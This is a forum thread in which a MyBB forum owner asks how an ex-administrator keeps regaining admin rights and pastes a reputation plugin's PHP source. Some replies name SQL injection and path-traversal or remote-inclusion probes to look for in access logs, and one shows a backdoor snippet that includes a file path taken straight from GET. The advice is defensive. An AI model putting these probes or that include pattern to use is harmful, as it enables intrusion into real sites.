Hello, I just recently purchased a myBB forum and I have had incessant problems with an ex-administrator who has been able to unban himself and set himself to administrator, despite the fact that he had already been IP banned. MyBB version: 1.4.6, MySQL 5.0.67 I suspect he created tables or something ... but I just don't know where to look! I am not fluent in PHP or MySQL, so I would really appreciate some advice.
The following plugin was installed by the user: <?php /** * FastRep 1.0 * * Copyright © 2009 iarspider * Website: none * License: GPL v3 * */ // Disallow direct access to this file for security reasons if(!defined("IN_MYBB")) { die("Direct initialization of this file is not allowed.<br /><br />Please make sure IN_MYBB is defined."); } require_once ("inc/functions.php"); $plugins->add_hook("xmlhttp", "fastrep_xmlhttp"); $plugins->add_hook("postbit", "fastrep_postbit"); function fastrep_info() { global $lang; $lang->load("fastrep", false, true); /** * Array of information about the plugin. * name: The name of the plugin * description: Description of what the plugin does * website: The website the plugin is maintained at (Optional) * author: The name of the author of the plugin * authorsite: The URL to the website of the author (Optional) * version: The version number of the plugin * guid: Unique ID issued by the MyBB Mods site for version checking * compatibility: A CSV list of MyBB versions supported. Ex, "121,123", "12*". Wildcards supported. */ return array( "name" => "Fast way to change reputation", "description" => $lang->fastrep_plugin_desc, "website" => "", "author" => "iarspider", "authorsite" => "", "version" => "1.3.1", "guid" => "", "compatibility" => "*" ); } function fastrep_find_replace_templatesets_re($title, $find, $replace, $autocreate=1, $limit=-1) { global $db; if($autocreate != 0) { $query = $db->simple_select("templates", "*", "title='$title' AND sid='-2'"); $master = $db->fetch_array($query); $oldmaster = $master['template']; $master['template'] = preg_replace($find, $replace, $master['template'], $limit); if($oldmaster == $master['template']) { return false; } $master['template'] = $db->escape_string($master['template']); } $query = $db->query(" SELECT s.sid, t.template, t.tid FROM ".TABLE_PREFIX."templatesets s LEFT JOIN ".TABLE_PREFIX."templates t ON (t.title='$title' AND t.sid=s.sid) "); while($template = $db->fetch_array($query)) { if($template['template']) // Custom template exists for this group { if(!preg_match($find, $template['template'])) { return false; } $newtemplate = preg_replace($find, $replace, $template['template'], $limit); $template['template'] = $newtemplate; $update[] = $template; } elseif($autocreate != 0) // No template exists, create it based off master { $newtemp = array( "title" => $title, "template" => $master['template'], "sid" => $template['sid'] ); $db->insert_query("templates", $newtemp); } } if(is_array($update)) { foreach($update as $template) { $updatetemp = array("template" => $db->escape_string($template['template']), "dateline" => TIME_NOW); $db->update_query("templates", $updatetemp, "tid='".$template['tid']."'"); } } return true; } function fastrep_find_replace_templatesets($title, $find, $replace, $autocreate=1) { global $db; if($autocreate != 0) { $query = $db->simple_select("templates", "*", "title='$title' AND sid='-2'"); $master = $db->fetch_array($query); $oldmaster = $master['template']; $master['template'] = str_replace($find, $replace, $master['template']); if($oldmaster == $master['template']) { return false; } $master['template'] = $db->escape_string($master['template']); } $query = $db->query(" SELECT s.sid, t.template, t.tid FROM ".TABLE_PREFIX."templatesets s LEFT JOIN ".TABLE_PREFIX."templates t ON (t.title='$title' AND t.sid=s.sid) "); while($template = $db->fetch_array($query)) { if($template['template']) // Custom template exists for this group { if(!strpos($template['template'], $find)) { return false; } $newtemplate = str_replace($find, $replace, $template['template']); $template['template'] = $newtemplate; $update[] = $template; } elseif($autocreate != 0) // No template exists, create it based off master { $newtemp = array( "title" => $title, "template" => $master['template'], "sid" => $template['sid'] ); $db->insert_query("templates", $newtemp); } } if(is_array($update)) { foreach($update as $template) { $updatetemp = array("template" => $db->escape_string($template['template']), "dateline" => TIME_NOW); $db->update_query("templates", $updatetemp, "tid='".$template['tid']."'"); } } return true; } function fastrep_install() { global $db, $lang; $db->query("ALTER TABLE `".TABLE_PREFIX."reputation` ADD `pid` INT( 10 ) DEFAULT '-1' NOT NULL AFTER `adduid` "); $lang->load("fastrep", false, true); $settings_gid = $db->insert_query('settinggroups', array( 'name' => 'fastrep', 'title' => $lang->fastrep_settings, 'disporder' => 51, )); $db->insert_query('settings', array( 'name' => 'fastrep_negimg', 'optionscode' => 'text', 'value' => './images/icons/thumbsdown.gif', 'title' => $lang->fastrep_settings_negimg, //'description' => $lang->fastrep_settings_negimg_desc, 'disporder' => 1, 'gid' => $settings_gid )); $db->insert_query('settings', array( 'name' => 'fastrep_posimg', 'optionscode' => 'text', 'value' => './images/icons/thumbsup.gif', 'title' => $lang->fastrep_settings_posimg, //'description' => $lang->fastrep_settings_posimg_desc, 'disporder' => 2, 'gid' => $settings_gid )); $db->insert_query('settings', array( 'name' => 'fastrep_max', 'optionscode' => 'text', 'value' => 5, 'title' => $lang->fastrep_settings_maxdispvote, 'description' => $lang->fastrep_settings_maxdispvote_desc, 'disporder' => 3, 'gid' => $settings_gid )); rebuildsettings(); } function fastrep_activate() { fastrep_find_replace_templatesets('postbit_reputation', '{$lang->postbit_reputation}', '{$lang->postbit_reputation} <img alt="-" title="-" onclick="javascript:negrep({$post[\'pid\']})" src="{$mybb->settings[\'fastrep_negimg\']}"/> <span id="postrep_{$post[\'pid\']}">', 1); fastrep_find_replace_templatesets('postbit_reputation', '{$post[\'userreputation\']}', '{$post[\'userreputation\']}</span> <img alt="+" title="+" onclick="posrep({$post[\'pid\']})" src="{$mybb->settings[\'fastrep_posimg\']}"/>', 1); fastrep_find_replace_templatesets('headerinclude', '{$stylesheets}', '<script type="text/javascript" src="{$mybb->settings[\'bburl\']}/jscripts/fastrep.js"></script>'."\n".'{$stylesheets}', 1); // fastrep_find_replace_templatesets("postbit", '{$post[\'button_find\']}', '{$post[\'button_find\']}{$post[\'fr_votes\']}', 1); // fastrep_find_replace_templatesets("postbit_classic", '{$post[\'iplogged\']}', '{$post[\'iplogged\']}{$post[\'fr_votes\']}', 1); // fastrep_find_replace_templatesets("postbit", '{$post[\'iplogged\']}', '{$post[\'iplogged\']}{$post[\'fr_votes\']}', 1); fastrep_find_replace_templatesets_re("postbit", '#[\t]*\<tr\>[\n\r\t]*\<td class\="trow1 post_buttons#', '{$post[\'fr_votes\']}'."\n".'$0', 1, 1); fastrep_find_replace_templatesets_re("postbit_classic", '#[\t]*\<tr\>[\t\n\r]*\<td class\="\{\$altbg\}" style\="white-space\: nowrap; text-align\: center; vertical-align\: middle;"\>\<span class\="smalltext"\>\{\$post\[\'postdate\'\]\} \{\$post\[\'posttime\'\]\}\</span\>\</td\>#', '{$post[\'fr_votes_c\']}'."\n".'$0', 1, 1); } function fastrep_deactivate() { fastrep_find_replace_templatesets('postbit_reputation', '{$lang->postbit_reputation} <img alt="-" title="-" onclick="javascript:negrep({$post[\'pid\']})" src="{$mybb->settings[\'fastrep_negimg\']}"/> <span id="postrep_{$post[\'pid\']}">', '{$lang->postbit_reputation} ', 0); fastrep_find_replace_templatesets('postbit_reputation', '{$post[\'userreputation\']}</span> <img alt="+" title="+" onclick="posrep({$post[\'pid\']})" src="{$mybb->settings[\'fastrep_posimg\']}"/>', '{$post[\'userreputation\']}', 0); fastrep_find_replace_templatesets('headerinclude', '<script type="text/javascript" src="{$mybb->settings[\'bburl\']}/jscripts/fastrep.js"></script>'."\n", '', 0); fastrep_find_replace_templatesets("postbit_classic", '{$post[\'fr_votes_c\']}'."\n", '', 0); fastrep_find_replace_templatesets("postbit", '{$post[\'fr_votes\']}'."\n", '', 0); } function fastrep_uninstall() { global $db; $db->delete_query("settings", "name IN('fastrep_negimg', 'fastrep_posimg', 'fastrep_max')"); $db->delete_query("settinggroups", "name = 'fastrep'"); $db->query("ALTER TABLE `mybb_reputation` DROP `pid`"); rebuildsettings(); } function fastrep_is_installed() { global $db; $query = $db->simple_select("settings", "name", "name='fastrep_max'", array('limit' => 1)); if($db->fetch_field($query, "name")) { return true; } return false; } function fastrep_xmlhttp() //Heavily based on reputation.php { global $mybb, $pid, $db, $lang; $lang->load("fastrep", false, true); if($mybb->input['action'] == "negrep") { $pid = intval($_GET['pid']); $check_query = $db->simple_select("posts", "uid, tid", "pid='".$pid."'"); $check = $db->num_rows($check_query); if($check == 0) //no such post { return; } $uid = $mybb->user['uid']; $user_permissions = user_permissions($uid); $row = $db->fetch_array($check_query); //Check if: //a) This is self-voting //b) Vote is cast by a guest //c) Poster can't give reputation //d) Poster can't use reputation system if (($uid == $row['uid']) || ($uid == 0) || ($mybb->usergroup['cangivereputations'] != 1) || ($user_permissions['usereputationsystem'] != 1)) { $currep = $db->simple_select("users", "reputation", "uid='".$row['uid']."'"); print get_reputation($db->fetch_field($currep, 'reputation'), $mybb->user['uid']); return; } //OK, seems like everything's fine => cast the vote! $threadinfo = $db->query("SELECT subject FROM ".TABLE_PREFIX."threads WHERE tid='".$row['tid']."';"); $threadrow = $db->fetch_array($threadinfo); $query = $db->simple_select("reputation", "*", "adduid='".$mybb->user['uid']."' AND uid='".$row['uid']."' AND pid='".$pid."'"); $existing_reputation = $db->fetch_array($query); $uid = $row['uid']; $url = $mybb->settings['bburl']."/showthread.php?pid=".$pid."#".$pid; $subject = $threadrow['subject']; $comments = str_replace("@url", $url, $lang->fastrep_useless); $comments = str_replace("@subj", $subject, $comments); $reputation = array( "uid" => $row['uid'], "adduid" => $mybb->user['uid'], "pid" => $pid, "reputation" => -1*intval($mybb->usergroup['reputationpower']), "dateline" => TIME_NOW, "comments" => $comments ); // Updating an existing reputation if($existing_reputation['uid']) { $db->update_query("reputation", $reputation, "rid='".$existing_reputation['rid']."'"); // Recount the reputation of this user - keep it in sync. $query = $db->simple_select("reputation", "SUM(reputation) AS reputation_count", "uid='{$uid}'"); $reputation_value = $db->fetch_field($query, "reputation_count"); $db->update_query("users", array('reputation' => intval($reputation_value)), "uid='{$uid}'"); } // Insert a new reputation else { $db->insert_query("reputation", $reputation); // Recount the reputation of this user - keep it in sync. $query = $db->simple_select("reputation", "SUM(reputation) AS reputation_count", "uid='{$uid}'"); $reputation_value = $db->fetch_field($query, "reputation_count"); $db->update_query("users", array('reputation' => intval($reputation_value)), "uid='{$uid}'"); } $reptext = get_reputation($reputation_value, $row['uid']); print $reptext; } if($mybb->input['action'] == "posrep") //much like negrep, just different lang string { $pid = intval($_GET['pid']); $check_query = $db->simple_select("posts", "uid, tid", "pid='".$pid."'"); $check = $db->num_rows($check_query); if($check == 0) //no such post { return; } $uid = $mybb->user['uid']; $user_permissions = user_permissions($uid); $row = $db->fetch_array($check_query); //Check if: //a) This is self-voting //b) Vote is cast by a guest //c) Poster can't give reputation //d) Poster can't use reputation system if (($uid == $row['uid']) || ($uid == 0) || ($mybb->usergroup['cangivereputations'] != 1) || ($user_permissions['usereputationsystem'] != 1)) { $currep = $db->simple_select("users", "reputation", "uid='".$row['uid']."'"); print get_reputation($db->fetch_field($currep, 'reputation'), $mybb->user['uid']); return; } //OK, seems like everything's fine => cast the vote! $threadinfo = $db->query("SELECT subject FROM ".TABLE_PREFIX."threads WHERE tid='".$row['tid']."';"); $threadrow = $db->fetch_array($threadinfo); $query = $db->simple_select("reputation", "*", "adduid='".$mybb->user['uid']."' AND uid='".$row['uid']."' AND pid='".$pid."'"); $existing_reputation = $db->fetch_array($query); $uid = $row['uid']; $url = $mybb->settings['bburl']."/showthread.php?pid=".$pid."#".$pid; $subject = $threadrow['subject']; $comments = str_replace("@url", $url, $lang->fastrep_useful); $comments = str_replace("@subj", $subject, $comments); $reputation = array( "uid" => $row['uid'], "adduid" => $mybb->user['uid'], "pid" => $pid, "reputation" => intval($mybb->usergroup['reputationpower']), "dateline" => TIME_NOW, "comments" => $comments ); // Updating an existing reputation if($existing_reputation['uid']) { $db->update_query("reputation", $reputation, "rid='".$existing_reputation['rid']."'"); // Recount the reputation of this user - keep it in sync. $query = $db->simple_select("reputation", "SUM(reputation) AS reputation_count", "uid='{$uid}'"); $reputation_value = $db->fetch_field($query, "reputation_count"); $db->update_query("users", array('reputation' => intval($reputation_value)), "uid='{$uid}'"); } // Insert a new reputation else { $db->insert_query("reputation", $reputation); // Recount the reputation of this user - keep it in sync. $query = $db->simple_select("reputation", "SUM(reputation) AS reputation_count", "uid='{$uid}'"); $reputation_value = $db->fetch_field($query, "reputation_count"); $db->update_query("users", array('reputation' => intval($reputation_value)), "uid='{$uid}'"); } $reptext = get_reputation($reputation_value, $row['uid']); print $reptext; } if ($mybb->input['action'] == "showrep") { print read_entries($mybb->input['pid']); } } function fastrep_postbit($post) { $post['fr_votes'] = build_votelist($post['pid'], 'h'); $post['fr_votes_c'] = build_votelist($post['pid'], 'c'); } function build_votelist($pid=0, $postbit_type) { global $post, $altbg, $lang; $entries = read_entries($pid, $postbit_type); $lang->load("fastrep", false, true); if(!$entries) { $css_display = "display:none;"; } else { $css_display = ""; } //$display = "<div valign=\"bottom;\" style=\"{$css_display}float:left\" id=\"fr_votes_{$post['pid']}\">{$entries}</div>"; $display = "{$entries}"; if ($postbit_type == 'h') //'new' or 'horizontal' postbit { $display = '<tr style="'.$css_display.'" id="fr_votes_'.$pid.'_r"><td class="trow1"><span class="smalltext">'.$lang->fastrep_votes.': </span><span id="fr_votes_'.$pid.'">'.$display.'</span></td></tr>'; } else //'classic' or 'vertical' postbit { $display = '<tr style="'.$css_display.'" id="fr_votes_'.$pid.'_r"><td class="'.$altbg.'" style="text-align: center;"><span class="smalltext">'.$lang->fastrep_votes.': </span></td><td class="'.$altbg.'" id="fr_votes_'.$pid.'">'.$display.'</td></tr>'; } return $display; } function read_entries($pid=0) { global $db, $entries, $mybb, $showall, $additional, $lang; $lang->load("fastrep", false, true); $entries = ""; $entries2 = ""; $query = $db->simple_select('reputation', 'adduid, reputation', "pid='$pid'", array('order_by' => 'dateline', 'order_dir' => 'DESC')); $counter = 0; while($vote = $db->fetch_array($query)) { $dbuser = get_user($vote['adduid']); if ($vote['reputation'] > 0) { $color = "green"; $score = "+".$vote['reputation']; } else { $color="red"; $score = $vote['reputation']; } $link = '<a href="'.get_profile_link($vote['adduid']).'" style="color: '.$color.'">'.$dbuser['username'].'</a>'; if($counter < $mybb->settings['fastrep_max']) { $entries .= $r1comma."<span style='color: $color'>".$link." ($score)</span>"; } else { $entries2 .= $r2comma."<span style='color: $color'>".$link." ($score)</span>"; $r2comma =", "; } $r1comma =", "; $counter++; } if($entries2 == "" && $entries != "") { $entries = "<span class=\"smalltext\">{$entries}</span>"; return $entries; } elseif($entries2 != "" && $entries != "") { $additional = "<br /><div style=\"display:none;\" id=\"fr_votes_{$pid}_a\"><div style=\"float:left\">{$entries2} <span style=\"font-size:8px\"><a style=\"text-decoration:none;\" href=\"javascript:hideAllVotes('fr_votes_{$pid}_a');\">[<i>x</i>] </a></span></div>"; $entrieslist = "<div style=\"float:left\"><span class=\"smalltext\">{$entries} <a href=\"javascript:getAllVotes('fr_votes_{$pid}_a');\">....</a></div>{$additional}"; return $entrieslist; } else { $entries = ""; // just to make sure return $entries; } } ?> PHP: could this have been the exploit?
lookup your access log, - try to search for ' UNION SELECT .... - etc ?file=../../../../etc/paswd ?file=http://... that kind of sql injection or file inclusion queries, so you can locate the problem
1st: go to your phpmyadmin . and find the database that you installed mybb, then find a table name mybb_users, or something similar, then find your "EX" administrator id/username and juz delete it =) then MAKE sure you have changed your password in the mybb, your cpanel password and your database password , incase of other problem occured. solved =) if this problem re-occured , than you should check your computer for viruses/keylogger/or RAT
Change the database password Check your files for a shell like emo ralez said He could have also just put a custom script to include a URL from GET, to use a shell (see example below) $page=$_GET['page']; include $page; Code (markup): and he would just go to website.com/anything.php?page=shellurl
Check and see if there is another account with secondary Admin permissions and he is using that to promote his account to admin. Or just try changing the admin file or folder, I'm not familiar with myBB so I cant relaly help sorry.
He might have had access to your database so be careful with sensible data such as your password, ID...